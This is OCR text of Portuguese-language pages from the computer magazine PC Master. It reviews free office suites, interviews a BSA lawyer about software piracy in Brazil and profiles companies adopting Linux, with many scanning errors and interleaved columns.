KSpread

Aplicativo baseado nas
planilhas eletrénicas mais
populares, o KSpread & bastante
simples e oferece compatibilidade
©OM 05 arquivos gerados pelo
Calc e pelo Excel.

Além da propria planilha, que é
loda dividida em células que
aceitam texto e algarismos, o
‘aplicativo possui o3 seguintes
componentes da janela do KSpread:
* Barra de menus: todas as fungdes

dog aplicativos estao nos menus.
* Barra de Ferramentas: apresenta
uma série de atalhos para as

fungdes do menu. Asslm como
todas as barras de ferramentas
dos aplicativos do KOfice, esta
também pode ser personalizada
pelo uguario.

* Linha de comando: ¢ onde as
formulas ou textos das células
sdo editados.

* Réguas indicadoras (horizontal &
vertical): localizam cada célula
no documento.

A forma de Insercic de Imagens

e edigdo de textos & semelhante a

da KWaord, bastando que seja

compraendida que cada célula

oferece atributos de canfiguragao
de forma, texto e outros
elementos de maneira
complatamente indepandente,

KPresenter

O Kpresenter & um aplicativo
voltado para criagdo de
apresentagdes utilizando slides,
muite semelharite ao PowerPuoint.
Vocé pode criar apresentacbes
baseadas am modelos que permitem

especificar o tipo de salda, se sua
apresentagdo tera como saida uma
folha Ad, Legal vu Letler, ou na lela
do seu computador, e especiticar
como deseja a disposigan do texto
na Sug apresentacac, simplesmente
clicando nos modelos existentes.

Outros aplicativos
Além das ferramentas
apresentadas, o software

possul ainda outras como,

por exemplo:

» Kontour: Edilor de gréficos
veloriais, com recursos
avangadaos como trabalhos em
camadas (layer)

* Kohart: Editor para desenhos de

graflcos, diagramag e

organogramas.

Krita: Editor para manipulagao de

imagens, com recursos

semelhantes ao Gimp. E uma
opgdc ao famoso Photoshop.

» Kugar: E uma ferramenta que
permile gerar relaldrios
protissionais para sottwares KDE.

PC Master | 29
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OpenOffice (Windows e Linux) www.openoffice.org

© mecanisma principal deste
pacote Office & 0 mesmo usado no
StarOtfice. A Sun, pouco tempn
depais de ter adquirido &
transformado em um software gratuito
o StarOffice. também abriu o
codigo-fonte do mecanismo
principal do soflware para a
comunidade de desenvolvedores.

A partir de entéo, este projeto for
chamado de OpenOffice. mas ele ndo
segue o termo de licenga GPL, que
obriga que os aplicativos gerades a
parlir de um codigo-fonte aberta a
também ohadecer a licenca,

Sendo assim, a versdo € do
StarOffice fol langada bassada nos
termos da licenga gue foi criada pela
Sun e chamada de Sun Industry
Source License (55ISL). Isso permitiu
que este software, gue &
comercializado pela empresa,
recebace as melhorias realizadas
peloe desenvolvedores do OpenOffice.

Ja v OpenOifice lancou a versio
1.0 estével de forma gratuita
compasta de diversos aplicativos.

A Instalagdo

Sem divida nenhuma, o
OpenOffice & uma grande alternativa,
composto de diversos aplicativos,
como editor de textos, planitha de.
clculo ¢ software de apresentagdo. O
programs pode ser adquirido elraves
de downlead direlamente do site do
projeto. Tem aproximadamente
A7 ME & nap apresenta grandes
dificuldades para instalar,

e e e T S e e e |
Sot Office 2002 (Windows e Linux)

www.sot.comSen/linux/soto

r R

O editor de texto Writer, do pacote

OpenOffice, & bastante pesado

Ag se executar o comande setup do
diratorio, & realizada uma instalagao
simples no diretdrio da usuario que
executou o camando. Deata forma, todo
usudrio que realizar csta instalagao tera
uma copia idéntica com todo o aplicativo
na raiz do seu diretdrio, voupando muito
espaco em disco.

Urn outro metodo de instalagao
permite ser feita por varios usuérios em
uma mesma estagao, evitando assim
consumo excessivo de disco. Execute ¢

comando Install, que se encontra nu
dirstdrio do OpenOffice. Este arquivo

instala o software em um diretério
comum a todos 03 usuarios.

A partir desta instalagdo, cada um
que neceesitar o OpenOffice s precisa
executar v Setup que lol instalado no
diretdrio comum a todos. Assim, sera
faita uma instalagaa bésica eriande os
links para o3 executévels e os menus
para carrcgar os aplicativos, com a
vantagem de economizar muito espaco,

Como o OpenOffice pussui v codigo aberta, pode ser usado par qualguer um.
Melhcries podem ser livremente adicionadas ao pacote — deste que se cbhadaga aos
termos de licenga do produle. Foi assim que a Sot Finnish Software produziu o Sct
Office 2002, que na realidade tem as meesmas caracteristicas do OpenOffice 1.0.

O software & dislribuido em farmate bindro, podendo ser encontrado em
BPM para as versées baseadss em Red Hat ¢ compactada em targz,
unde deve ser executads o setup para instalar o software. O seu uso & gratuito
e o downloag ests disponivel no site do fabricante.

| PC Mastsr

Aplicativos

Com o software ja instalado no
sistermna, & adicionado no menu do
KDE e também do Gnome — um
atalho para os programas que permite
carragar um dos aplicalivos com
grande facilidade. O soHware &
formadn basicaments por cinco
aplicacoes, que sao o Writer, Cale,
Draw, lmpress e o Math. A seguir,
veremos com maig detalhes de cada
uma destas ferramentas.

Writer
O CoenOffice Whiter é o editor de
texto com recursos semelharites aos
existentes no MS Word. O software
permite carregar & gravar documentos
em diversos formatos, inclusive para
MS Word 97/2000/XP. permitindo a
troca de documentos entra usuarios.
A varsao 1.0 pode ser
aencontrada em portugués de
Puortugal, o gue intelizmente, acaha
limitando-o um pouco.

Cale

Sem divida, a aplicagao mais
usada em ambienles corporativos & a
planilha de calculo. No pacote
OpenOffice esta aplicagao, chamada
de Calc. foi desenvolvida com culdado
para manter a compatibilidade com o
Excel da Microsoll. Permite, assim,
gue o usuario crie desde pequenas
planilhas de despesas as mals
complexas, colhendo informactes de
cutras planilhas separadas,

E possivel também ler e gravar
planilhas gravadas em outros
softwares, camo Microsoft Excel,
desde a versao 4.0 até a XF, e até
mesmo planilhas do Lotus 1-2-3,

Impress

Q SlarOffice Impress é o
utilitario que vock ird Usar para
gerar apresentagoes e slides.
Ele permite abrir arquivos do
Microsoft PowerPoint, vers&o
87/2000/ %P



Slag (Linux) www.siag.nu

O Siag Office & mais uma opgac
de ferramentas office, especialmente
‘desenvolvida para o Linux. Encentra-
se na versdo 3.5.2, com recursos bam
limitades, mas guem vém sendc
melhoradas a cada nova versao do
software.

Uma das limitagoes esta na
compatibliidade de arquivos. O
software ndop aceita ler ou gravar ne
formalo .doc, mas em compensacao,
& possivel gravar os dacumentos em
formato pdf e ps. Uma outra
limitagao existente sdo o8 comandos
de teclado, que sév complataments
diferentes dos usados por outros
editores, exigindo consultar varias
vezes o Help até se adaptar aos
recursos, Apesar das limitagbes, o
goftware & de grande utllidade,
principalmente para os usudrios que
nao necessilam de lanlos recursos
nos trabalhos do dia-a-dia,

Instalagao

O software pode ser encontrado
no site do projeto, podendo ser obtido
o cadigo-fonte ou a versao binaria no
formato mm para distribuictes
baseadas no RedHat. Mas para que o
software funcione & necessario
satisfazer duas dependéncias exigidas.

Nos tesles realizados durante a
instalagdo, o software apresentou
alguns problemsas com as
dependéncias, Mesmo estande

Ds recursos disponiveis no Pathetic
Writer sdo simples e limitados

A
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disponivel o eodigo fonte das
biblioteeas, e clas estando compiladas
@ Instaladas sem apresentarem erros,
o software Slag Office ndo funcionou.
A documentacao das bibliolecas Apeaar do uso dificil, a planilha de
infarmava que era necessério atualizar | célculos é a principal ferramenta Siag

o caminha (Path) das mesmas, mas b s
nao havia nenhuma indicagao dos
diretdrios a serem adicionados,

Uma solugdo fol localizar na Internet
versdes jd compiladas e distribuidas no
formata rpm destas bibliotecas, Apas
devidamente instaladas as bibliotecas,
as aplicacées do Siag Office
funclonaram parfeitarments.

Infelizmente o aplicative nao cria
nenhum atalho nos menus ou na érea de
trabalhe para executar cada uma das
aplicagdes, aendo necessdrio carregar
manualmente através de comando.

Aplicactes

0 Siag Office & formado por apenas
trés aplicativos; editor de fextos
Pathetic Writer. pela planilha Scheme In
a Grid (SIAG) e pelo editor de
apresentacoes e animagbes Egan
Animator. Vieja com mais detalhes cada
uma destas ferramentas:

nome desta aplicacdo. Os recursos
disponivels neste software sdo muito
semelhanle avs exislentes no Excel,

A torma de utilizagdo, no entanto,
nao & tao simples como no
concorrente, necessitando de algumas
tantativas até encontrar a solugéo
para o problema de una simples
somatdria. Nada que algumas leituras
na Help nao resolvam.

Q Scheme In a Grid possu)
compatibilidade de arguivos
gomente com ¢ Lutug 1-2-3, 0 que
limita a transferéncia de arquivos
entre as aplicagbes,

Egon Animator

O Egon ¢ ¢ software para criar
animagoes e apresentagdes. Nao
existe semelhanga com o PowerPoint
otl o Impress. O uso é complexo,
sendo necessario manipular abjetos
manualmente utilizando coordenadas
do slide. Os objetos néo sdo
inseridos diretamente na
apresentacac, mas atraves de um
gerenciador da aplicagan. »

Pathetic Writer
Um aditor de texto simples com
recursos berm limitados. Mas estéo
disponiveis alguns comandos basicos na
harra de ferramentas, como fonta,
impressora, copiar @ colar. Se o usudrio
estd familiarizado com as teclas de
atalhos do Word, terd uma grande
decepgio, us comandos sdu
completamente diferentes, estando
mals préximos ao antigo Wordstar,
Para carreger ¢ aplicative €
necessarlo executar o comando pw
em uma janela shell ou selecionar no
menu a opedo Executer Comando.

Scheme In a Grid (Siag)

Esta & a planilha de célculo do
paccte da Slag Office. Para ser
carregado, deve-se executar o
comando siag, que & a abreviagéo do
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Gnome Office (Linux) www.gnome.org/gnome-office

Com o apoio da KDE ao

desenvolvimento do pacote
KOffice, o Gnome também
apresentou um conjunto de
ferramentas como a sclugdo office.
Mas, dilerentemente do KDE, nao
se trata de um unico pacota, & sim
de aplicagoes de diversos
desenvolvedores e projetos que
estdo sendo adctadoe pelo Gnome
como sua solugiu office.

Os aplicatives do Gnome

Ottice sda instalados também
durante a instalagao do Gnome,
dependendo da distribuico que
esta sendo usada. Por se tratar de
apligacoes independentes de um
pacote, sao instaladas

in

dividualmente, podende ser

selecionadas uma & uma.

A grande vantagem do

pacote & gue todos 0s
aplicativos adolados seguem o

termo de licenga GPL.,

tornando-se

uma atima solugdo para evitar
problemas de licenciamento
de softwares.

Aplicagdes

Coma'o Gname Office é

formado por vanas aplicagdes

in

dependentes, pode ccorrer de

existir mais de um aplicative na

I

esma calegoria. E o caso do

gerenciandor de projetas, que fol
adatada o MrProject e o Toutdoux.
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O Abiword & o editor de texto mais
completo e leve entre os concorrantes

Abiword

semelhante ao Word em relagdo aocs A e A B v,
recursos disponiveis, Os usuarios T
ndo terdo dificuldades em migrar | S ———
para esse aplicativo. | —— e
) dicionario instaladn & o Bivamedio ki prieis i pksiks
portugués de Portugal, mas & g
possivel adicionar o usado no Brasil | office mantido pelo préprio Gnome E

arquivos neste formato tamhem é
grande, permitindo importar e exportar

recursos de graficos das planihas.
explortar planilhas desenvolvidas em

softwares mais usados nesta categona.

>,

| PE€ Masrer

Confira algumas das aplicagdes que

r N
fazem parte do Gnome Office. :
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fazendo o download dos arquivos
necessarios. A portabilidade dos manipulagac de imagens com
caracteristicas semelhantes ao
Photoshop, Este softwaie € o
adotado pelo Gnome como seu
editor de imagens.

Além destas aplicagoes, vérias
outras estio disponiveis, como o
Gfax, que permite enviar e recebar
fax; o Galeon, um gerenciadur de
arquives com navegador Internet;
o Sketch, um editor de desenhos
vetoriais; o Balsa, que & um
cliente de e-mail ¢ o Dia, um
editor de diagramas para
desanvolver organugramas e
desenhos técnicos.

em diversos formatos. inclugive em
.doe, gue & usado pelo MS Waord.

Gnumeric

O projeto do Grumeric & mantido
pela praprio Gnome (wwagnome.org/
projects/gnumeric). O software é
idénticc ao Excel, ndo permitindo
apenas trabalhar com macros. Mas para
o deservolvirmento de planilhas de
calculos comuns, a resultado 8
impressionante, INciusive com og

A aplicagéo permite importar &

Lotus 1-2-3 & do Excel, que 5280 os

Evolution
O Evolution & a sclugéo gue
inlegra leilor de e-mail, calendario,
agenda de compromisso, livro de
enderecos e gerenciador de

tarefas. Eata aplicagao é
semelhante ao OQutLook, que
acompanha o Office. E uma
Glirma opgac come gerenciador
de informacgdes passoals.

Gimp
Quem usa o Linux ha algum

tempo, com carleza ja ouviu falar

no Gimp, que & um software de



EasyOfl’ice (Windows) www.e-press.com

r 3 A grande desvantagem deste
P e ::""""":-:ﬁg' % =8 | software ¢ que esté disponivel
F % e somente no idioma inglés, o gue o
if:gg lorna pouco alraente ao uso para a
T grande maioria dos usuérios mencs
"Eﬁ: experientes — mas existe um
‘wial | diciondrio em portugués para a
BE2( | versdo Premiun. Apeear dag
i limitagoes, com certeza e uma Otima
solugdo, j& que o custo é baixo.
Além do pacote integrada cam

todos as softwares, vocé pode fazer
o download de cada um dos
aplicativos independentemente.
Cada aplicalivo lem, em media,
3 MB, poupando o download de
ferramentas deanecessarias.

O ambiente de trabalho dog
aplicativos pertencentes ac
EasyOffice & um pouce diferente do
que estamos acostumados a visualizar
no ambiente do MS Office, formado
por icones grandes que lambram
aplicativos Lotus, Mas exiate uma
opcio no menu View que permite a
visualizagdo em mode avangado,
deixando as fervarnentas com
aparéncia do MS Office,

Durante a Instalagac do scftware &
perguntado se vocé deseja tomar o
aplicativo o software principal. Se vocé
nao possuir o MS Office instalado, pode
manter o aplicativo como padréo,

Os aplicativos do EasyOffice tém
uma interface bastante diferente

- v

O pacote formado por dez
programas e um dos mais completos
fue pode ser obtide gratuitamente
para doewnload na versdo Freeware,
Poseul 33 MB, mas exlste uma
versdo Premiun com 420 MB que é
comercializada por
aproximadamente LIGS 40,

Na wersao Freeware nao possui
alguna programas & nem suporte
técnico mas, com certeza, é uma
solugdo perfeita para as aplicar,:r.'ms
rotineiras de seu computador, £
camposto por editor de texta,
plenilha de céleulo & até mesmo um
‘sompactador de arquivos.

Aplicagbes

O pacote estd bem completo.
Possui dez aplicativas instalados por
padrag, incluindo calculadora,
‘gerenciador de contatos
compactador de arquives, entre
outroa. A seguir, veja mais detalhes
algumas das ferramantas que fazem
parte do pacote o EasyOffice.

EasyWord

‘Este editor de texto funciona
de forma extremamente simples,
mag eficiente. Mesmo com as
diferengas da area de trabalho,
formadsa por grandes botdes e uma
enorme barra de ferramentas

localizada & direlta gue limita o
lamanhio da pagina.

O aplicativo permite abrir &
salvar no formato doc, que é o
usado pelo MS Word. lsso garante a
troca de arguivos entre as
aplicagdes. Alem deste formato, o
EasyWord possui a vantagem de
gravar documenlos no formalo PDF.

EasySpreadSheet

Este é o nome da aplicagao da
planilha de calculos do EasyOffice.
A aplicacio ¢ um pouco diferente do
tamaso Cxcel. A esquerda, fora da
planitha normal, esta localizada uma
coluna chamada "Total' que soma o
contetido numérico das linhas.

A portabilidade dos arquives
entre as aplicagoes fol manlida,
permitindo abrir & gravar documentos
na formato usado pelo Excel.

EasyPresentation

A aplicacio EasyPrasentation
permile abrir documentos gravados
no Power Point & criar apresentagbes
da mesma maneira que no aplicativa
da Microsoft. Entretanto, possul a
limitagho de ndo gravar no
formato .ppt.

Durante a exibigéo de uma
apresentagdo, uma barra de
ferramentas & mantida na parte
superior da tela, para a
manipulagéo dos slides. PEM
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O resultado final apresentado pelo
EasySpreadSheet é muito bom

.
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Entrevista

O cacador de

piratas

Advogado da BSA, André de Almeida explica como anda a pirataria de softwares

atualmente no Brasil e afirma que ela deve continuar com altos indices um bom tempo

Por Sérgio Vinicius

sinGnimo da pratica de roubo &

extorsdo, No dicionério dos fabricantes
de softwares para computadaor, a palavra tem,
pelo menos, mais um signiticada: concorréncia
desleal. Estima-ge que o prejuizo com a
falsificagdo de softwarcs no Brasil alcance a
marca de USS 820 milhoes.

Para se ter una idéia do problema, a
policia tirou, literalmente, das ruas — uma vez
que grande parte do comércio & realizada em
barracas de camelbs — cerca de 212 mil CDs
com softwares falsificados em 2001, Somente
em dezembro, foram apreendidos mais de 58
mil programas. Mas mesmo assim, hé muito
ainda o que fazer

"Pelo segunde ano seguido, vimos um
aumento na pirataria de software em todo o
munde. E uma tendéncla alarmanta, apesar
de nossos esfurgos para criar leis e
desenvolver programas educacionais’, disse
Hobert Holleyman, presidente da BSA,
Business Software Alliance, entidade que
combate a pirataria em todo o mundo.
"Realmente, embora tenha caldo o indice de
pirataria no Brasil, isso ndo guer dizer gue a
situagéo esteja boa", completa André de
Almeida, advogado da BSA no Brasil.

Ma entravista a seguir, Almeida, lactnica,
fala da dificuldzde em combater a pirataria
R e no Brasil, explica come anda o mercado no
f=ita no Brasil mundo e ainda faz comentarios sobre o
contra a pirataria porgue do termo pirataria estar ligado &
utilizagho de softwares ilegais.

P irataria, pelo novo diciondrio Aurélio, &

Almeida: ainda
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O brasileiro nunca teve uma cultura que
respeitasse a propriedade intelectual

PC Master: Pur que o indice de
pirataria aumentou muwla no munde e,
especificamente no Brasil diminuiu?
André de Almeida: E importante
natar os numeres com muito cuidade.
A pirataria, em todo o munde, subiu
em media, cerca de 3%, Para ser maig
exato. subiu de 37% para 40%. Nu
Brasil, esse nimera cain em 7%,
Antericrmente, o indice de pirataria

erd de 58% a. atualmente. cotd om 56%,

\Meja bem, us nidmercs do Pale

nan san nacla animacdores, may

ocorre que e mais facl abaixar algo que
ea6td cm um oatamar muito alto

do que fazer eair mais um indice

Yue j& esta naxo,

PC Master: Considerandu que os
numerns, apesar de nao seren Lag
fevorévels, apresentaram quesa no
Indice de pirataria, por gue 1350
veorreu no Brasil?

André de Almeida: Bom,
considerands que nac eslamos
melhares ao que o resta de mundo,
posae dizer gue houve queca norue
intensificamos um trabalho, Maa raoc el
le precisar us metivos especificos pelos
quais houwe um decliniu no mercade de
softwares piratas

PC Master: Falando em tecnalog 2, o
gue caminha a passos mais lergos. as
agles antipiratarla ou o mercado

marg ral de programas?

André de Almeida: O mercaco pirata é
bastante ative, nao ha come negar. No
Brasi, por exemplo, ele leve vantagem.
Basta olhar para os nimeros.

PC Master: Lim cos grandes problemas
de se combater a pirataria nos paises do
oloco curopeu orental é o fator cultural,
cnde as pessoas ndo conscguem
cempreender 8 quastdo direito autoral
par terem convivido muitus anos scb o
socialismo, regime o cual ndo hd direito
autcral, mas publico. No Hrasil, o tater
cultura é problema?

André de Almeida: Cultura & um
fator que, reslmente, faz com gue o
Brasil nau sejo um exemplo na luts
contra a niratara, Aliés, o Brasil
historicamente nao tem sida um bom
exemplo para defenaer direito

autoral. O brasileiro nunca deu o
mirimo valor & criagio Intelectual
humana - isso lem sido visto hé

muitc tempn e somente acs

POUCOS, com conacientizacan &

aches em varios o5tagios 1830

podera ser mudado.

Pirataria: recuo no Brasil, aumento no mundo

© Braslil conseguiu reduzir geu indice da piratarie de softwars, mesmo que &
pratice tenha avangado ea redar do globo no eno passede, sagundo estudo
divulgado pela BSA (Businese Software Alliance). A pirataria recucu dois
pentos percentuais no Brasil em 2001, mas ainda & realidade para 56% de todas
As empresas e usudrios domésticos do Pais,

Mo mundo. a pratica evangou de dois anos para cf ~ passou de 37% em 2000
para 40% no ano passado. Segundo & BSA, as cmpresoa de software deixam de
faturar cerca de USS 11 bilhBes por ana. O pais gue mals piratela software é o
Vietna — la, 97% de todos os softwares utilizados 6 pirata, Em seguida, vém China
(94%), Indonésia (80%), Ucrinia (89%) e Rissia (BA%).

. Oindice geral de piratarta calu dole pantos na América Lating e passou s 57%.
A Argentina, terooira maicr economia da regiao, viu a pirataria crescer para 82% —
na México, como no Brasil, houve recuo para 56%, Os mais pirates da regido séo
Nicardgua (78%), Bolivia (77%), El Salvador e Guatamala (ambos com 73%).

PC Master: £ v oue falta para ecse
patamar mudar e, realimenle, o Brasil
wvencer a pirataria®?

André de Almeilda: Falta apaio
governamental. A BSA ¢ a Abes
(Assuviugao Brasilerra das Emprosas de
Gottware). esldo dispustas a diminuir 20
maxime o problemas das copias ilegais,
Que geram wm prajuizo enorme, mas em
grande parte dags agoes precisermos de
respaldo governamental, colsa que néo é
tacilmente conseguida, Se ¢ governo
estivesse nessa luta a siluagao seria
mais confortavel

PC Master: /\ campanha em que a Abes
e 2 BSA comparam a pirataria de
software curm o crime organizado ¢
extrermamente marcante, Ela tem surtido
os efeitos que vocés esperavan ?

André de Almeida: O retorno da
campanhza tem sido positivo até aaqui,
mas o luta deve continuar sc
intensiticando no Brasil, Alias, essa
campanha & nossa aliada — bern furle,
até - mas nao podemos depender
unicamente dela. A luta contra a pirataria
tern sico e continuard bem grande no
Brasil, mesnw porque esse problema
esta longe de acaba,

PC Master: Ha quem pense que a
expressdo 'pirataria’ remete &

viuléngia, estupre @ uma séric de
barbaridades refleientes 4 [dade média,
e portanto seria muito pesada. O que
vocé pensa dissa’?

André de Almeida: 'Pirataria’ & um
termo vulgar, cologuial. O termo culto a
gual "pirataria’ se refere & "contrafagao’ -
que quer dizer basicamente que se trata
da utilizagao irregular do direito autoral,
Acontece que o terma 'pirataria” ja ests
arralgado e nac cabe a nos questiona-la,
De qualguer forma, a pessoa que nao
pagou por um software que utlliza nao
tem o direito de gueslionar de como

chamamos o ato. Afinal, isso & um crime. PCM
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Liberdade

também aquems qua pulam de m
lado para o vulro du jogo, ora

adatandaa sigtema de Bll! uatca.
Ha ainds agqueles-que

exparimentaram um, née goslaram,

trodaram pelo o edversario e
ficaram com este Oltime
Nesse tipo'de t

comum usuérios de W
pasaurem a ut|lizar Lin
mesmo porque, quase todo
mundo comeca com a MS. | as ha
ainda o exemplo de algum
empresas que sairam da opén
source para cair d

codigo proprietario que & ¢
com o resto d

Hospital Sao Camilo

08 Conective Linux

Segundo informugdes do-hospilal,
gragas a rova solugéo, a entldade

Periodo Pré-Linux - Antes de
adotar v Linux, 'o Hospilal S aco
Camilo utilizava sistemas ™
desenvolvidos para atender as
necesalgades de gestéo
hospitalar. Parg Isso, bugcava
profissionals no mercado que
eram Lreinados ] d entender
as especifi i

solugbes customizadas.
pProcesac todo ara
baatante complica .

O S&0 Camilo adotou um
sistema formado por servider
Conectiva Linux. Cam a utilizacéa,
no servidor, do MV2000 juntamente
com um hanco de dados Cracle &
com as ferramentas SOL Forms e
I:Ir-'~|'.r\|'T'q, a cl]r-.':lf‘:n pASsOL A Sar
mais répida e objativa, trazendo
bom resultado para a entidade

proporcionadas pele sistema baseado
am le.x fr:u a modermzagﬂa do

pela hoapltal com Infonﬂagﬁes mals
pracisas. E mais: devido & Lolal
IIILE'_._]!::I'.,.JU entre os mlfadLrEOS*

" da mshtungau ornece dadna
em tempo real, 2
Alem disso, diz o Sau Ca

contrario do gue
nente acontece
plataformas

8 eataveis,
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Mercado

Grupe Disal

Uma das principais administradoras
de contas de consdrcio de revendedores
\olkswaagen, o adotou o
sistema operacicnal Linux no segundo
semestre de 2000. Desde entdo, a
empresa promoveu uma restruturagac
geral em seu sile e nos servigos
relacionados a Internet.

"A aceitagdo do Linux no mercado
corporativo e a custo-beneficio do
siatemna foram fatores determinantee
para a nossa decisao’, afirma Fabio
Oliveira, gerenle de tecnologia da

dares Penlivm [
3 e 512 Mb

AT lado do L l_-llll-l LT

AINCA reoam Outros Re

Barneo do Estade do

Com ¢ objelivo de ter livre
escolha de seus aplicativos
tecnolagicos e incentivar o
mavimento software livre, o Banco
do Estado do Rio Grande do Sul,
Banrisul, resclveu substitulr seus
softwares proprietarios por
ferramentas de codigo aberto, apos
passar par plataforma proprietéria.

Deade fevereiro, a instituicao
desenvolve uma seérle de projetos para
adogaio de Linux , rede corporativa e
suds agencias em parceria com a
Conectiva 5.4, "0 Banrisul entende
nomo estratégica a implementagao de
produtos utilizando tecnologias de

| PC Masrer

Disal, acrescentando que o
sistema operacional & famoso
pela seguranga propercionada.

Periodo Pré-Linux - Antes da
adogdo do Linux, a Internet da
rede interna da Disal tuncionava
através de linha discada,

O site da empresa, por sua vez,
néo oferecia tudo o qgue a
corporagéo havia planejado:
faltava um banco de dados que
disponibilizasse, através da Web,
infarmacoes confidencials as
150 revendedeoras ¢ aos mais de
45 mil consorclados.

Assim, & Disal comegou & buscar
no mercado uma solugaa que, além de
atender a suas necessidades de
agilidade e garantia de integridade na
troca de Informagdee, evitasse
dispendiosos gastos em licengas de
software e gue aproveitasse boa parle
do hardware j& disponivel

Mais pingiiim — Apés uma
extensa fase de testes. a Disal
chegou & conclusao de que o
Linux era a plataforma mais adequada
a suas necessidades.

Antes de promover mudangas no
site, 8 empresa precisou aperfeigoar o

e (IMelaeramfA T
%S (Banrisul)

cadigo aberto, enfatizada pelo
maovimento de Software Livre, Neste
sentido, estd desenvolvendo diversos
projetos em que pretende utilizar Linux",
afirmou o banco gatche em nota oficial
quando adulou o open source, Hoje, o
principal projeta do |EEOIEEE
envolvendo a utilizaggo de Linux é o
porte das aplicagies dos terminais de
auto-atendimento presentes nos

710 pontoes do Banco em todo o

Pais. Estas maquinas, que hoje
utilizam um conjunto de softwares
proprietarios, seréo portadas para
Conectiva Linux 5.0, com programagao
felta em linguagem C.

aresso a Internet das 180
méguinas-clientes da rede Interna. Para
iss0, foram Implantados dois servideres
rodando Conectiva Linux, um
funcionando coma firewall & autro
provendo acesso DNS a Weh.
Resalvidos os problemas
INternos, passou sc a fase de
melhorar o relacionamento externoc,
Para tanto, foram instalados mais dois
servidores Conectiva Linux que
trabalham come firewalls restritos entre
a Internet e as vanas redes internas.
Com isso, atualmente, as
revendedoras e congorciados, e
somenle eles, acessam um banco de
dados Oracle com informagoes
pertinentes a seus processos.
diretamente no site do grupo
comercial. Por meio de uma
intranel e dos lirewalls, a Disal
garante a disponibilidade dos dados
com toda a seguranga.

e P,
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Herad Roek Gafe

A Hard Rock Cate, rede
internacional de restaurantes, optou
por trocar seu sistema baseado em
Linux por Windows. Segundo
informagdes da empresa, com a
troca fol possivel dar confizbilidade
ao seu sile, alem de reduzir gastos
cOm a pagina

Além disso, diz 8 empresa,
outra vantagem & quc o fato de ser
muito facll encontrar profissionais
gue saibam mexer no sistema
Microsoft, 2o passo que para outros
sistemas, profissionais especializados
ainda séo escassos.

Qutro ponto importante, Informa a
ampresa, € que houve um
crescimento na agilidade de se
realizar negocios — com o "Windows, &
mais facil colocar em pratica novos
projetos e, do nada, colocar em
pratica novas ferramentas que
Impulsionardo os negocios." A
empresa explica qus gsse dllimo
ponto & extremamente impaortante,
pois, por ser uma corporecac de
grande porte, a todo memento ha
operagbes que devem eer realizadas o
mais rapido possivel - e, como o
Windows, por ser muito conhecido, a
tarefa se torna muita mais facil.

Situagéo

Em 1898, a Hard Rock Café
langou o sile HardRock.com
(www.hardrock com) na plataforma
Solaris/Oracle. Na intranet da
empresa, entretanto, a cadeia de
restaurantes utllizava um servidor
Apache & um sistema em Linux.

Nessa gpoca, havia 505 PCs no
HR, que eram providos par quatra
servidores MNavell NetWare. O Lotus
Motes era usado para e-mail ¢ outras
fungbes diversag, "Nds eomos uma
empresa de entretenimento, no de
tecnelogia, portanto, qualguer minima
problema gue dava nessa estrutura,
tinhamaos uma dar de cabeca danada",
diz Ron Ward, diretor senior de IT e
Internet da Hard Rock Café.

"Em dezembro de 99, por exemplo,

nosso site ficou
5 dias fore do ar.
MNesse ponto,
tivemos que
abandonar uma seérie
de projelos gue
estivamos
desenvolvendo para
cuidar do problema e, ainda
aseim, ndo encontravamos
suporte para nosso problema.
A pagina ficou fora do ar
por um més & a situagao
fol desastrosa.”

Fol guando a |gElfsMztslss

finalmente conseguiu resolver o
problema, que a empresa decidiu
mudar de plataforma.

Com o Windows

Para resolver todos os problemas
e males que & Hard Rock tinha,
entdo, resclveu migrar para uma
plataforma heterogénea.

Com essa deciséo, & claro que a
rede de restaurantes foi direto para a
Microsoft. "A plataforma M3 nos
permitiu alcangar uma funcionalidade gue
nunca, ao menos, tinhamos sonhado,
MNosso nivel da agllidade aumentou
mulito", analisa Ward. "Com uma
plataforma sem "costurae’, conseguimos
rapidez em entregar ferramentas e
aplicagbes para dar suporte e fazer
Crescer nossos negocios.”

Ward comenta ainda que a troca de
plataformas ndo gerou aumento nos
gastos, uma vez que 3 Hard Rock nac foi
maig obrigada a vontratar servigos
axternus para resolver lodos problemas,
sendo eles grandes ou pequencs. PCM
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Software

Para pinguim

tirar o cha

Conectiva, Caldera, Turbolinux e SuSe se unem para langar o UnitedLinux,
uma versdo globalizada e padronizada do sistema operacional do pingdim

Por Sérgio Vinicius

Dirulgecis

Sandro: o alvo

é a Microsoft,

nie:s Betbiat m pinglim ingomoda muita gente. Quatro
pingdins incomodam muito mais,

incluindo ai um chapau vermelho gigante,

o "Tio Bill" e um guru ehamado Stallman,

hWlas gquatro pinglins também agradam
muita gente. E o caso de grandes companhiag
como Advanced Micro Devices (AMD),
Borland, Computer Associates, [ujitsu
Siemens, Fujitsu Japan, Hewlett-FPackard,
IBM. Intel, NEC ¢ Progress Software and
SAP, gue ndo ¢ nac ee incomadam, coma
gptiam a criggdo de uma padronizagio para
a plataforma Linux.

E pensanda nissa, quatro empresas
distribuidoras de Linux anunciaram a uniao de
suas distribuigdes do sistema operacional
— o UnitadLinux, As maméaes corujas g&o
Caldera Inlernational, Turbolinux, SuSe e
Cuonecliva. que dividem a guarda do filho,
desanvalvido em conjunto. Mas, segundo
elas, o sistema operacional 36 deve sair da
encubadeira no fim do ano.

Embora o software se|a Unico, cada
empresa ira comercializa-lo com sua propria
marca e embalagem. O suporte técnico, por
autra lado. tambéem sera unificado. Alem de
tentar abocanhar um mercado globalizado, o
UnitedLinux quer desafiar o RedHat Linux, da
RedHat, lider abscluto em vendas nesse
segmernlo, com 50% desse suculento bolo. .
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Software

Ao lado dessas empresas, por
enguanto, ha usuérios,
programadores e enlusiaslas do
codigo aberto. Eles mantém
uma certa antipatia & HedHat,
que iniciou um processo
para patentear parte de sua
distribuigéo recentemente.

E por falar em
RedHat, a empresa ja
respondeu ao
surgimento do
UnitedLinux,
promatendo
novidades para
seu produto.

Segundo
Sandro Nunes, da
Conectiva, "a
criagao do
UnitedLlinux &
uma nove

Asgim como a RedHat, Richard

Iniciativa que vai dinamizar o
desanvolvimento do Linux e a
certificagao através de uma
platatorma global padronizada,
desenvalvida para o mercado
corparativo (veja entrevista na
pagina ao lado)".

De acordo com Conectiva e
companhia, o UnitedLinux fal
criado a partir da necessidade
de uma oferta padronizada

para @ mercaco

corporativo, Devido a
compatibilidade com
plataformas de
hardware e sattware,
A NOvVE VYeraao

mas também

UnitedLinux

Richard Stallman condena distribuigao
Conectiva/Caldera/SuSE/Turbolinux

"M licenga por computador altera o

Stallman: néo viu,

néo gostou do

sistema GNLI+Linux am algs que
respeita sua libardade tdo pouco quanto
